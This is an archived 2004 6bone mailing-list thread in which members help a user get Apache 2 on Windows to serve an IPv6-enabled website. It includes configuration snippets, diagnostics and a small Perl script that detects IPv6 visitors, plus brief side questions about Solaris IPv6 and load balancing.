Are you sure your binary supports IPv6? Or maybe there are other 
"listen" directives in the config?

With the above "listen" directive you should be able to do

telnet ::1 80

to connect to Apache. For me, this works both on my iBook when it used 
to have MacOS Jaguar and now that it has Panther, and on FreeBSD.

> So all I am getting is v4 connections, even when I specify v6 
> addresses in
> the NameVirtualHost and VirtualHosts.

Forget the virtual hosts for now.


From mohacsi@niif.hu Wed Jul 21 06:24:52 2004
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Hi,
 	What kind of operating system you have? Can you provide the IPv6 
address of your host, if you prefer in private, to check whether it is 
reachable via IPv6, an then check web service via IPv6. Are you sure that 
you have correct netstat, that can print IPv6 addresses? Can you try 
"netstat -A inet6 -an" or "netstat -f inet6 -an" on Solaris?

 	Regarding the separate socket issues: The apache usually listen on 
one socket for IPv4 and IPv6, contrary to e.g. sendmail or postfix, where 
separate socket for IPv6 and IPv4.


On Wed, 21 Jul 2004, Gav wrote:

> Janos,
>
> | Try simply:
> | Listen 80
> |
> | And check whether you have apache listening on IPv6 socket. If yes you
> | might have syntax problem.
> |
> | Did you look at this page?
> | http://httpd.apache.org/docs-2.0/bind.html#ipv6
> |
> | Regards,
> |
> | Janos Mohacsi
>
> Yes, Listen 80 works, and is what I had before , but from reading the page
> above (as I had before) it
> confused me into thinking I needed to separate sockets, one for v4 and one
> v6.
>
> doing a netstat -an , it shows no sockets are listening for IPv6.
>
> So all I am getting is v4 connections, even when I specify v6 addresses in
> the NameVirtualHost and VirtualHosts.

You have to specify only your servername:

NameVirtualHost *

<VirtualHost *>
     ServerAdmin admin@yourdomain
     DocumentRoot serverroot
     ServerName your.domain
     ErrorLog /var/log/httpd-xxx-error_log
     CustomLog /var/log/httpd-xxx-access_log common
</VirtualHost>


Be careful: you have to have your.domain in your DNS otherwise apache will 
fail.

Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98

>
> What have I missed so that I can get Listening for v6 connections.
>
> Having searched round the internet for answers, I seem to get the same
> familiar names crop up, Jeroen, Itogen, Robert etc etc so I hope you don't
> mind me just staying here until its resolved as you guys are the only ones
> it seems that know these things.
>
> :)
>
> If you need more details, printouts, httpd.conf etc just ask and I'll post
> them right away.
> This is bugging me now, I thought this was going to be easy!
>
> Gav...
>

From cfaber@fpsn.net Wed Jul 21 10:49:53 2004
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Well the first thing you need to do is run an httpd which provides IPv6 
service. Apache 1.3 can support IPv6 by patching it, however I'd 
recommend running Apache 2.0 -- as it's IPv6 support is native.

Secondly regarding SSI -- As SSI (as far as I remember) does not support 
any kind of flow control functionality you'll need to script up 
something in shell, perl, php, etc. that can be included in the SSI 
document which checks the REMOTE_ADDR variable for the colons.

Something very simple in perl would be:

#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print ($ENV{REMOTE_ADDR} =~ /[A-Fa-f0-9]{4}:/ ? 'Remote host supports 
IPv6' : 'Remote host supports IPv4');

and including it in your ssi:

<!--#include virtual="/perlscript.pl"-->

Good luck.


Gav wrote:

>Where do you do your check for this Colin.
>
>I'd like to keep my Index page as a .shtml as my menus and footers are SSI 
>included ito the page.
>Rather than .php at this point.
>
>Thanks
>
>Gav...
>
>----- Original Message ----- 
>From: "Colin Faber" <cfaber@fpsn.net>
>To: "Gav" <old_mc_donald@hotmail.com>
>Cc: <6bone@mailman.isi.edu>
>Sent: Tuesday, July 20, 2004 11:39 AM
>Subject: Re: [6bone] Ipv6 Enabled Web Site
>
>
>| On my site (www.fpsn.net) to all we do is check for colons in the
>| REMOTE_ADDR environment variable (we also use apache 2) and it seems to
>| do the trick rather well.   With a successful IPv6 connection IPv6 users
>| see a small blurb at the bottom:
>|
>| ::I:P:v:6::
>|
>| Internet Protocol Version 6 aware user detected.
>|
>| Hope this helps.
>| 
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>
>
>  
>


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Subject: Re: [6bone] Ipv6 Enabled Web Site
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| Are you sure your binary supports IPv6? Or maybe there are other
| "listen" directives in the config?
|
| With the above "listen" directive you should be able to do
|
| telnet ::1 80
|
| to connect to Apache. For me, this works both on my iBook when it used
| to have MacOS Jaguar and now that it has Panther, and on FreeBSD.

Doesnt work for me, tells me it can not connect to the host (on port 23) 
connection failed.
But it does that for localhost etc also.
|
| > So all I am getting is v4 connections, even when I specify v6
| > addresses in
| > the NameVirtualHost and VirtualHosts.
|
| Forget the virtual hosts for now.
|
|

I have 5 other websites running so cant do that unfortunately.

Thanks

Gav... 

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Subject: Re: [6bone] Ipv6 Enabled Web Site
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Janos,

| Hi,
|  What kind of operating system you have? Can you provide the IPv6
| address of your host, if you prefer in private, to check whether it is
| reachable via IPv6, an then check web service via IPv6. Are you sure that
| you have correct netstat, that can print IPv6 addresses? Can you try
| "netstat -A inet6 -an" or "netstat -f inet6 -an" on Solaris?

Windows XP Pro, IPv6 Enabled, can access other IPv6 only sites no problem.
'netstat -p ipv6' is empty, seems no ipv6 is listening.
'netstat -anr' routing table has no ipv6 entries.

Now heres the confusing bit again.

My v6 address as allocated by FREENET6 is 3ffe:bc0::8000::3c6a , but since 
removing
my Network Bridge and disabling Teredo, this address no longer appears on 
any of
my Interface adaptors, but when visiting ipv6.sixxs.net ipv6calc still tells 
me that
3ffe:bc0::8000::3c6a is the address I am connecting with.


| You have to specify only your servername:
|
| NameVirtualHost *
|
| <VirtualHost *>
|     ServerAdmin admin@yourdomain
|     DocumentRoot serverroot
|     ServerName your.domain
|     ErrorLog /var/log/httpd-xxx-error_log
|     CustomLog /var/log/httpd-xxx-access_log common
| </VirtualHost>

I have been running Apache2 Web Server for a year now using
the catch all * no problems as above with 5 websites, but I thought the 
point
of creating an IPv6 only accessible website was that only
IPv6 connections were allowed access, I can't see how I can
do that with the above. (Unless I use .htaccess)

|
|
| Be careful: you have to have your.domain in your DNS otherwise apache will
| fail.

I use DynDNS, I have a static IP but using Windows I can not really use full 
blown
BIND9 so I have BIND-PE (TreeWalk).
IPv4 sites are accessible no problem and I using one of these domains to 
change into
a v6 only version.

From old_mc_donald@hotmail.com Wed Jul 21 14:19:53 2004
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Colin,


| Well the first thing you need to do is run an httpd which provides IPv6
| service. Apache 1.3 can support IPv6 by patching it, however I'd
| recommend running Apache 2.0 -- as it's IPv6 support is native.

Yep, Running Apache 2 Latest Version 2.0.49.
But the thing just will not accept an IPv6 address in the Listen directive.!

|
| Secondly regarding SSI -- As SSI (as far as I remember) does not support
| any kind of flow control functionality you'll need to script up
| something in shell, perl, php, etc. that can be included in the SSI
| document which checks the REMOTE_ADDR variable for the colons.
|
| Something very simple in perl would be:
|
| #!/usr/bin/perl
| print "Content-type: text/plain\n\n";
| print ($ENV{REMOTE_ADDR} =~ /[A-Fa-f0-9]{4}:/ ? 'Remote host supports
| IPv6' : 'Remote host supports IPv4');
|
| and including it in your ssi:
|
| <!--#include virtual="/perlscript.pl"-->
|
| Good luck.

Thanks very Much, I will do that. Cheers.

Gav...
| 

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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Ipv6 Enabled Web Site
Date: Wed, 21 Jul 2004 23:38:29 +0200
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On 21-jul-04, at 23:00, Gav wrote:

> | With the above "listen" directive you should be able to do

> | telnet ::1 80

> Doesnt work for me, tells me it can not connect to the host (on port 
> 23)
> connection failed.
> But it does that for localhost etc also.

Huh?!?

Why is your telnet using port 23 when you explicitly tell it to use 
port 80? All the telnets I know take the port number as the second 
argument (in the absense of any flags/options).

You wouldn't happen to run Linux, would you? (Although I doubt even 
Linux would screw up this badly.)

> | Forget the virtual hosts for now.

> I have 5 other websites running so cant do that unfortunately.

First you make the apache listen on one or more address/port combos. 
This is basic TCP stuff: if this part doesn't work, you're unreachable. 
When this DOES work the virtual hosts come into play. But you can 
easily see this because when you're at this stage you should see an 
HTML page, although maybe not the one you intended.

But since you still have trouble with the TCP stuff, changing the 
vitual host settings is meaningless at this point, so you should keep 
them the way they should be to support your existing IPv4 sites.

BTW, this is what I used to have on my FreeBSD box:

[...]
Listen 83.149.65.1:80
Listen [3ffe:2500:310:2::1]:80
[...]
<VirtualHost 83.149.65.1 [3ffe:2500:310:2::1]>
[...]

But I changed this, it looks much cleaner now:

[...]
Listen 80
[...]
<VirtualHost *>
ServerName www.bgpexpert.com
ServerAlias bgpexpert.com ipv6.bgpexpert.com ipv4.bgpexpert.com
[...]


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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Ipv6 Enabled Web Site
Date: Wed, 21 Jul 2004 23:54:45 +0200
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On 21-jul-04, at 23:16, Gav wrote:

> Windows XP Pro, IPv6 Enabled, can access other IPv6 only sites no 
> problem.

Is this what you run Apache on?

In that case you may want to check if your binary supports IPv6. (Well, 
you may want to check this regardless of the OS you use...)

> | You have to specify only your servername:

> I have been running Apache2 Web Server for a year now using
> the catch all * no problems as above with 5 websites, but I thought the
> point of creating an IPv6 only accessible website was that only
> IPv6 connections were allowed access, I can't see how I can
> do that with the above. (Unless I use .htaccess)

Not a problem: just use a host/domain name ServerName that only has an 
AAAA record in the DNS. In theory, people can then still connect by 
looking up your A record, connect over IPv4 and list the host/domain in 
question in the host: line, but in practice people don't really do this 
  :-)  and you only get people on your site who are able to connect to 
the IPv6 address.


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Subject: Re: [6bone] Ipv6 Enabled Web Site
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Hi,
On Thu, Jul 22, 2004 at 05:16:41AM +0800, Gav wrote:
> My v6 address as allocated by FREENET6 is 3ffe:bc0::8000::3c6a , but since 
                                            ^^^^^^^^^^^^^^^^^^^^
that does not look 100% correct to me. I know that one can substitute
all zeros by the '::' but twice inside an address makes it ambigous.
Please check your IPv6 address. My Freenet address has more non-zero
octets after the 'bc0'.

[theveryquietcricket]~$ ping6 -n 3ffe:bc0::8000::3c6a
ping6: No address associated with hostname
[theveryquietcricket]~$ traceroute6 -n 3ffe:bc0::8000::3c6a
traceroute6: No address associated with hostname

-andreas

From gert@Space.Net Thu Jul 22 00:27:55 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
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Hi,

On Thu, Jul 22, 2004 at 05:19:07AM +0800, Gav wrote:
> | Well the first thing you need to do is run an httpd which provides IPv6
> | service. Apache 1.3 can support IPv6 by patching it, however I'd
> | recommend running Apache 2.0 -- as it's IPv6 support is native.
> 
> Yep, Running Apache 2 Latest Version 2.0.49.
> But the thing just will not accept an IPv6 address in the Listen directive.!

So it seems your Apache2 (btw: latest version is 2.0.50) was compiled 
without IPv6 support.  Ask whoever compiled your apache to re-do with
IPv6 enabled.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  65398  (60210)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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Gert,



| So it seems your Apache2 (btw: latest version is 2.0.50) was compiled
| without IPv6 support.  Ask whoever compiled your apache to re-do with
| IPv6 enabled.
|

Hmm, I got the Binary .msi version direct from the Apache (mirror) site.

According to the 'New Features' Section, A new 'Core' feature - already 
included
is

Quote :

On systems where IPv6 is supported by the underlying Apache Portable Runtime 
library, Apache gets IPv6 listening sockets by default. Additionally, the 
Listen, NameVirtualHost, and VirtualHost directives support IPv6 numeric 
address strings (e.g., "Listen [fe80::1]:8080").

Unquote

So I assumed it is already built in. Apache does not complain about the v6 
addresses I put into VirtualHosts, so I can only think something is wrong 
with my underlying IPv6 configurations within the OS itself. Don't know what 
yet , as I can successfully connect to any IPv6 only website, can ping6 and 
tracert6 any IPv6 address.

I will have to look into this further, thanks for your help Gert.

Gav... 

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On Thu, 2004-07-22 at 13:08, Gav wrote:
> Gert,
>=20
>=20
>=20
> | So it seems your Apache2 (btw: latest version is 2.0.50) was compiled
> | without IPv6 support.  Ask whoever compiled your apache to re-do with
> | IPv6 enabled.
> |
>=20
> Hmm, I got the Binary .msi version direct from the Apache (mirror) site.
>=20
> According to the 'New Features' Section, A new 'Core' feature - already=20
> included is
<SNIP>

In the source, not in the binary...

Google google "apache2 ipv6 win32" and: http://win6.jp/Apache2/

8<------------------
[Top] [Japanese] [English]


Apache 2.0.50 (2004/07/11)
RUNTIME LIBRARY:

        IPv6 Apache requires runtime library. Put DLL files included in
        mfcXX.zip on the system folder (C:\WINDOWS\system32).
              * mfc71.zip: it's not required if Microsoft Visual Studio
                .NET 2003 is installed.
THE LATEST:

      * httpd-2.0.50-win32-ipv6.zip: IPv6 enabled Apache 2.0.50.=20
      * Apache 1.3.x also available
PREVIOUS RELEASE:

      * httpd-2.0.49-win32-ipv6.zip: IPv6 enabled Apache 2.0.49.=20
      * httpd-2.0.48-win32-ipv6.zip: IPv6 enabled Apache 2.0.48.
      *=20
Apache version 2.xx has initially IPv6 feature. On Win32 platform,
however, IPv6 is not activated. This package contains IPv6 enabled
Apache which is applied a few patches and rebuilt.

System Requirement:
  Microsoft Windows XP SP1

Copyright 2000-2004, Jun-ya KATO
kato@win6.jp
---------------->8

Go Kato! ;)

Greets,
 Jeroen


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From old_mc_donald@hotmail.com Thu Jul 22 04:37:55 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
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Andreas,

| Hi,
| On Thu, Jul 22, 2004 at 05:16:41AM +0800, Gav wrote:
| > My v6 address as allocated by FREENET6 is 3ffe:bc0::8000::3c6a , but 
since
|                                            ^^^^^^^^^^^^^^^^^^^^
| that does not look 100% correct to me.

Sorry, a typo I copied across from an earlier post.

Try 3ffe:bc0:8000::3c6a

Well, this is the address given to me by FREENET6 to connect through them.
This address however does not appear on any of my connections so I need
to check this out. Apache Server can not even listen to [::]:80 so I don't 
think
this is the main problem although may be a contributor.

Thanks

Gav... 

From old_mc_donald@hotmail.com Thu Jul 22 04:45:56 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
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|
| Why is your telnet using port 23 when you explicitly tell it to use
| port 80? All the telnets I know take the port number as the second
| argument (in the absense of any flags/options).

No idea, but I tried it again later and it telnets localhost and 192.168.0.1 
no problems.
Still wont connect to ::1 80 though, says no listening sockets.


|
| First you make the apache listen on one or more address/port combos.
| This is basic TCP stuff: if this part doesn't work, you're unreachable.

I agree, and it *should* work, so I need to work out why it wont.


| BTW, this is what I used to have on my FreeBSD box:
|
| [...]
| Listen 83.149.65.1:80
| Listen [3ffe:2500:310:2::1]:80
| [...]
| <VirtualHost 83.149.65.1 [3ffe:2500:310:2::1]>
| [...]
|
| But I changed this, it looks much cleaner now:
|
| [...]
| Listen 80
| [...]
| <VirtualHost *>
| ServerName www.bgpexpert.com
| ServerAlias bgpexpert.com ipv6.bgpexpert.com ipv4.bgpexpert.com
| [...]
|
|
Thanks, will take this into account.

Gav... 

From old_mc_donald@hotmail.com Thu Jul 22 04:51:57 2004
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Hi All,

Apologies for hogging the List with my own Server related problems (albeit 
IPv6 related).

If anyone wants to help me off-list then please email me privately, 
otherwise I will
continue on here until it is solved, which hopefully wont be too long.

Thanks

Gav... 

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Subject: Re: [6bone] Ipv6 Enabled - ThankYou
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Gert and Jeroen.

Both correct, IPv6 was NOT enabled in the Binary of Apache2 on the Apache 
website.
The Apache2 docs IMHO are therefore ambiguous as it does not state this, and 
reading
it I was sure it was compiled into it.

Anyway, it is almost done, from inside my network I can not get a v6 address 
to show on
REMOTE_HOST. I will work on this.

As a side effect, and I mention this in case anyone doesn't know :

My Apache 2.0.49 was compiled with SSL support and I had a certificate set 
up
and thought by installing Apache 2.0.50 with IPv6 support , that my SSL 
would
dissapear, but it is STILL there. Saved me a lot of time there!

I just copied the 2.0.50 files over the top of the 2.0.49 version, put 3 
extra dlls into /system32
and restarted the Server. Great Stuff.

Thanks everyone for your help, and to Kato for the v6 binary.


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.725 / Virus Database: 480 - Release Date: 19/07/2004 

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On Thursday 22 July 2004 06:51 am, Gav wrote:
> Apologies for hogging the List with my own Server related problems (albeit
> IPv6 related).

I found it instructive, both your questions and the thoughtful responses you 
got from the list.  Thanks everyone.
John

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Colin,

|
| Something very simple in perl would be:
|
| #!/usr/bin/perl
| print "Content-type: text/plain\n\n";
| print ($ENV{REMOTE_ADDR} =~ /[A-Fa-f0-9]{4}:/ ? 'Remote host supports
| IPv6' : 'Remote host supports IPv4');
|
| and including it in your ssi:
|
| <!--#include virtual="/perlscript.pl"-->
|
| Good luck.
|

Thanks Colin, I have entered the script and included it in the footer of 
every page.
However, I still suspect I have a problem elsewhere now. The page always 
says
to me that I support IPv4 and does not recognise my v6 connection. I can 
access
every other v6 preferred site no problems and they all say I am connecting 
via IPv6.

Is this something I can not test 'Internal' to the network or is my incoming 
connection
to the web site not working via IPv6. netstat -an tells me IPv6 is Listening 
on [::]:80.

I think I may need to sort out exactly which interface I am supposed to 
listen on, and also
which connection the Freenet6 tunnel is supposed to connect to.

Can someone look at those last two points for me after looking at my 'ipv6 
if' output.
(ipconfig does not show the 3ffe address given to me by Freenet6 at all)

in tcpc.conf I have put

if_tunnel = 4
if_prefix = 2

I am sure I have a wrong config somewhere.

Thanks

Gav...




---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
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------=_NextPart_000_001F_01C470F6.63437ED0
Content-Type: text/plain;
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Content-Transfer-Encoding: 7bit
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Interface 7: Ethernet: Local Area Connection 2
  Guid {655005DA-6B2E-479D-9715-DFD865D503C8}
  uses Neighbor Discovery
  uses Router Discovery
  forwards packets
  link-layer address: 00-02-b3-5b-9e-5f
    preferred link-local fe80::202:b3ff:fe5b:9e5f, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
    multicast link-local ff02::1:ff5b:9e5f, 1 refs, last reporter
  link MTU 1500 (true link MTU 1500)
  current hop limit 128
  reachable time 39500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
  default site prefix length 48
Interface 6: Teredo Tunneling Pseudo-Interface
  Guid {53DFD666-F5B6-4FB0-BDBD-D28C3334E588}
  zones: link 6 site 3
  cable unplugged
  uses Neighbor Discovery
  uses Router Discovery
  forwards packets
  routing preference 2
  link-layer address: 0.0.0.0:0
    preferred link-local fe80::5445:5245:444f, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
  link MTU 1280 (true link MTU 1280)
  current hop limit 128
  reachable time 31000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48
Interface 4: Ethernet: Local Area Connection
  Guid {D524E979-96EE-4A99-9100-DD1F9A257A32}
  zones: link 4 site 2
  uses Neighbor Discovery
  uses Router Discovery
  forwards packets
  link-layer address: 00-80-48-ee-2f-b2
    preferred link-local fe80::280:48ff:feee:2fb2, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
    multicast link-local ff02::1:ffee:2fb2, 1 refs, last reporter
  link MTU 1500 (true link MTU 1500)
  current hop limit 128
  reachable time 17000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
  default site prefix length 48
Interface 3: 6to4 Tunneling Pseudo-Interface
  Guid {A995346E-9F3E-2EDB-47D1-9CC7BA01CD73}
  does not use Neighbor Discovery
  does not use Router Discovery
  forwards packets
  routing preference 1
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 27000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48
Interface 2: Automatic Tunneling Pseudo-Interface
  Guid {48FCE3FC-EC30-E50E-F1A7-71172AEEE3AE}
  does not use Neighbor Discovery
  does not use Router Discovery
  forwards packets
  routing preference 1
  EUI-64 embedded IPv4 address: 0.0.0.0
  router link-layer address: 0.0.0.0
    preferred link-local fe80::5efe:203.121.204.130, life infinite
    preferred link-local fe80::5efe:192.168.0.1, life infinite
    preferred global 3ffe:bc0:8000::3c6b, life infinite (manual)
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 44000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48
Interface 1: Loopback Pseudo-Interface
  Guid {6BD113CC-5EC2-7638-B953-0B889DA72014}
  zones: link 1 site 4
  does not use Neighbor Discovery
  does not use Router Discovery
  link-layer address: 
    preferred link-local ::1, life infinite
    preferred link-local fe80::1, life infinite
  link MTU 1500 (true link MTU 4294967295)
  current hop limit 128
  reachable time 16500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48

------=_NextPart_000_001F_01C470F6.63437ED0--

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From Grzegorz.Banasiak@ipv6.cbr.tpsa.pl Fri Aug 13 01:58:59 2004
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Hello everyone,

I've got a few questions regarding Solaris 9 OS and IPv6 protocol. I would be 
grateful if anyone could answer any of those:

1) /etc/defaultrouter for IPv6

Is there any "decent" place where one may specify default route for IPv6, like 
in /etc/defaultrouter for IPv4?

Assumptions: There is no IPv6-enabled router in the LAN, so Ethernet interface 
is not configured for IPv6 (no /etc/hostname6.if_name). Solaris box that I am 
thinking of has only a static IPv6 over IPv4 tunnel (/etc/hostname6.ip.tun0).

2) Did you encounter any problems with RPC after activation of IPv6?

[..]
Aug  4 11:07:52 mars rpcbind: [ID 489175 daemon.error] Unable to join IPv6 
multicast group for rpc broadcast FF02::202
[..]
Aug  4 11:08:11 mars ip: [ID 603775 kern.notice] ip_queue_to_ill_v6: no ill
Aug  4 11:08:26 mars last message repeated 3 times
Aug  4 11:08:41 mars /usr/dt/bin/ttsession[454]: [ID 161973 daemon.error] 
t_connect(): System error
Aug  4 11:08:41 mars last message repeated 1 time
[..]

ttsession fails and I cannot log into CDE environment which makes the system 
unusable from my point of view.

Assumptions: Again, only a static IPv6 over IPv4 tunnel. IPv6 is not enabled on 
the Ethernet interface.

Should I activate IPv6 also on Ethernet interface, even if there is no logical 
need for this?

3) firewall on the host

What are my options today? Any free solution? Any stateful solution?
For IPv4, IP Filter (AKA ipf) is just enough for me.

Cheers,

-- 
Grzegorz Banasiak
IPv6 Project
Research and Development Department, Telekomunikacja Polska S.A.

From mohacsi@niif.hu Fri Aug 13 03:41:00 2004
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On Fri, 13 Aug 2004, Grzegorz Banasiak wrote:

>
> 3) firewall on the host
>
> What are my options today? Any free solution? Any stateful solution?
> For IPv4, IP Filter (AKA ipf) is just enough for me.

For IPv6 you can use ipf also. Add -6 option for ipf or ipfstat. The ipmon 
does not support IPv6 yet. We are using ipf with IPv6 in production on 
FreeBSD.

Regards,

Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98



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From: "Wengui Yang" <biappaib@163.com>
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Subject: [6bone] IPv6 load balance
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6bone,

	How does IPv6 support traffic load balance, using only one IPv6 adress?
I do know there is some work on IPv6 load balance, but catch nothing detail.
According my googling, It seemed that IPv6 will arrive it wity anycast. 
Do you tell me wether my guess is correct or not, and detailed information
will get my great appreciating.
Thanks a lot!

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡

 				

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Wengui Yang
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡biappaib@163.com
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡2004-09-01

From old_mc_donald@hotmail.com Tue Sep  7 04:19:23 2004
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Subject: [6bone] Ipv6 Enabled Web Site - Finally
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Hi All,

I Thank all involved for helping me in creating an IPv6 enabled website.

In the end a mixture of everyones advise and implemenation techniques seem 
to have done the trick.

I say 'seem to' because I don't know anybody outside of this group that is 
v6 enabled!

So a favour if I could, if someone could visit my site at 
http://www.minitutorials.com and look at the footer
of the page to see if (Colins script I think) the script correctly 
identifies an IPv6 connection.
I have tested it internally to the network and an IPv6 connected machine is 
correctly identified.
A non IPv6 enabled machine is also correctly identified as being a v4 
connection. So it all seems to work.

Also, for my purposes and for the tutorials on my site, it works, so I can 
then embed extra content into
the pages for those that connect from a v6 connection (I havent implemented 
this bit yet.) However, I have not
done any registering of AAAA records etc, but rather added entries to my 
hosts file, as I am not sure in my
circumstance that I can add AAAA records.

Situation:

The domain name of www.minitutorials.com is registered to me, it points to 
my DynDNS.org account name of
www.minitutorials.serveftp.net which then sends the visitor to my own Server 
here. I have a /48 with FREENET6
and so any v6 connections I assume come through them first. I therfore do 
not know who to approach as regards
getting www.minitutorials.com or www.minitutorials.serveftp.net an AAAA 
update done.

Ideally I would to be able to, as advised not long ago in here have :-

www.minitutorials.com AAAA + A
www.v4.minitutorials.com A
www.v6.minitutorials.com AAAA

How can I go about this if it is possible in my case.

Thanks in advance.

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.745 / Virus Database: 497 - Release Date: 27/08/2004 

From old_mc_donald@hotmail.com Tue Sep  7 04:31:11 2004
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Hi All, me again.

Currently, most users connect via a v4 connection without a care in the 
world, without even knowing
it exists, they just know typing in a URL or sending email gets there.

What about v6, when implemented, will this be the same smooth (as far as a 
customers point of view is concerned)
silent and unseen mechanism that the end user needs know nothing about?

Will they just turn on the computer one day, and after an automatic update, 
be v6 enabled and surfing the web,
or is the configurations and installations that we do now going to need to 
done on millions on machines around
the globe?

I guess v4 will still be around for a while yet, as I think many ISPs etc 
wont update their equipment for a few years.

Gavin McDonald

www.minitutorials.com


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.745 / Virus Database: 497 - Release Date: 27/08/2004 

From Mailinglists.sven@roederer.dhs.org Tue Sep  7 12:49:11 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site - Finally
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Am Dienstag, 7. September 2004 13:17 schrieb Gav:
> So a favour if I could, if someone could visit my site at
> http://www.minitutorials.com and look at the footer
> of the page to see if (Colins script I think) the script correctly
> identifies an IPv6 connection.
> I have tested it internally to the network and an IPv6 connected machine is
> correctly identified.
> A non IPv6 enabled machine is also correctly identified as being a v4
> connection. So it all seems to work.

Hi ,

I just connected to your site, but it was not recognized as IPv6-connection. 
"194.29.229.78 Remote host supports IPv4 ". When I visit http://www.kame.net 
my v6-aware setup is recognized.

Sven

From jay@scherrer.com Tue Sep  7 12:51:17 2004
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All I see is:
"You are currently here :~/index.shtml".
Jay
On Tuesday 07 September 2004 12:00 pm, 6bone-request@mailman.isi.edu wrote:
> Send 6bone mailing list submissions to
> 	6bone@mailman.isi.edu
>
> To subscribe or unsubscribe via the World Wide Web, visit
> 	http://mailman.isi.edu/mailman/listinfo/6bone
> or, via email, send a message with subject or body 'help' to
> 	6bone-request@mailman.isi.edu
>
> You can reach the person managing the list at
> 	6bone-owner@mailman.isi.edu
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of 6bone digest..."
>
>
> Today's Topics:
>
>    1. Ipv6 Enabled Web Site - Finally (Gav)
>    2. The future (Gav)
>
>
> ----------------------------------------------------------------------
>
> Message: 1
> Date: Tue, 7 Sep 2004 19:17:33 +0800
> From: "Gav" <old_mc_donald@hotmail.com>
> Subject: [6bone] Ipv6 Enabled Web Site - Finally
> To: <6bone@mailman.isi.edu>
> Message-ID: <BAY9-DAV9J1jtYgm1JM0003ad12@hotmail.com>
> Content-Type: text/plain;	charset="iso-8859-1"
>
> Hi All,
>
> I Thank all involved for helping me in creating an IPv6 enabled website.
>
> In the end a mixture of everyones advise and implemenation techniques seem
> to have done the trick.
>
> I say 'seem to' because I don't know anybody outside of this group that is
> v6 enabled!
>
> So a favour if I could, if someone could visit my site at
> http://www.minitutorials.com and look at the footer
> of the page to see if (Colins script I think) the script correctly
> identifies an IPv6 connection.
> I have tested it internally to the network and an IPv6 connected machine is
> correctly identified.
> A non IPv6 enabled machine is also correctly identified as being a v4
> connection. So it all seems to work.
>
> Also, for my purposes and for the tutorials on my site, it works, so I can
> then embed extra content into
> the pages for those that connect from a v6 connection (I havent implemented
> this bit yet.) However, I have not
> done any registering of AAAA records etc, but rather added entries to my
> hosts file, as I am not sure in my
> circumstance that I can add AAAA records.
>
> Situation:
>
> The domain name of www.minitutorials.com is registered to me, it points to
> my DynDNS.org account name of
> www.minitutorials.serveftp.net which then sends the visitor to my own
> Server here. I have a /48 with FREENET6
> and so any v6 connections I assume come through them first. I therfore do
> not know who to approach as regards
> getting www.minitutorials.com or www.minitutorials.serveftp.net an AAAA
> update done.
>
> Ideally I would to be able to, as advised not long ago in here have :-
>
> www.minitutorials.com AAAA + A
> www.v4.minitutorials.com A
> www.v6.minitutorials.com AAAA
>
> How can I go about this if it is possible in my case.
>
> Thanks in advance.
>
> Gav...
>
>
> ---
> Checked for Viruses (Viri) , Gav...
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.745 / Virus Database: 497 - Release Date: 27/08/2004
>
>
> ------------------------------
>
> Message: 2
> Date: Tue, 7 Sep 2004 19:30:14 +0800
> From: "Gav" <old_mc_donald@hotmail.com>
> Subject: [6bone] The future
> To: <6bone@mailman.isi.edu>
> Message-ID: <BAY9-DAV20G1Y9RGZ1w00031493@hotmail.com>
> Content-Type: text/plain;	charset="iso-8859-1"
>
> Hi All, me again.
>
> Currently, most users connect via a v4 connection without a care in the
> world, without even knowing
> it exists, they just know typing in a URL or sending email gets there.
>
> What about v6, when implemented, will this be the same smooth (as far as a
> customers point of view is concerned)
> silent and unseen mechanism that the end user needs know nothing about?
>
> Will they just turn on the computer one day, and after an automatic update,
> be v6 enabled and surfing the web,
> or is the configurations and installations that we do now going to need to
> done on millions on machines around
> the globe?
>
> I guess v4 will still be around for a while yet, as I think many ISPs etc
> wont update their equipment for a few years.
>
> Gavin McDonald
>
> www.minitutorials.com
>
>
> ---
> Checked for Viruses (Viri) , Gav...
